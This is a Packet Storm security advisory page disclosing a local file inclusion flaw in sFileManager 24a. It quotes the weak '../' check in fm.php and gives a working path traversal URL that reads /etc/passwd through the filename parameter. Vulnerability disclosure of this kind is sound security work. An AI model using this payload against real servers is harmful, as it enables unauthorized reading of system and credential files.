what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sFileManager 24a Local File Inclusion

sFileManager 24a Local File Inclusion
Posted Jun 23, 2010
Authored by Pepelux | Site pepelux.org

sFileManager version 24a suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | c13346916d0a566b8317c0f280e60a5a0961e290ec82cf84a6dd485d194ac2a7

sFileManager 24a Local File Inclusion

Change Mirror Download
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sFileManager <= v.24a / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: sFileManager
$ Version: <= v.24a
$ File affected: fm.php
$ Download: http://onedotoh.sourceforge.net/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org - www.pepelux.org

----- by the author -----
Simple File Manager (SFM) is a web based file management utility. It is
designed to be
used by those that don't want to use ftp or SHOULD NOT use ftp. It can be
dropped into
a specific directory and give access to that directory as well as any
directory below
it, including those created by SFM. It can be placed in a specific directory
and
configured to give access to other directories outside of its location
(centralized).
SFM gives its user upload, rename, delete, directory creation as well as
directory
navigation (within its tree limits), as well as Create New File; it also
includes an
image viewer, text viewer and mime type downloading.
-------------------------


-- BUG --
When you click to download a file there are two params:

http://www.host.com/fm.php?action=download&filename=file.txt&pathext=pub/&u=&copt=1&sortKey=0

action = file to download
pathext = directory where the file is located


You can't do:
http://www.host.com/fm.php?action=download&filename=passwd&pathext=pub/../../../../etc/&u=&copt=1&sortKey=0

because in fm.php:

231 ... if (ereg("\.\./", $pathext)) {
232 ... $hack="<font color=red><b>HACK ATTEMPT - SysOp
Notified</b></font><p>";
233 ... $pathext="";
234 ... }


but $action is not checked and you can do:
http://www.host.com/fm.php?action=download&filename=../../../../../etc/passwd&pathext=pub/&u=&copt=1&sortKey=0
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close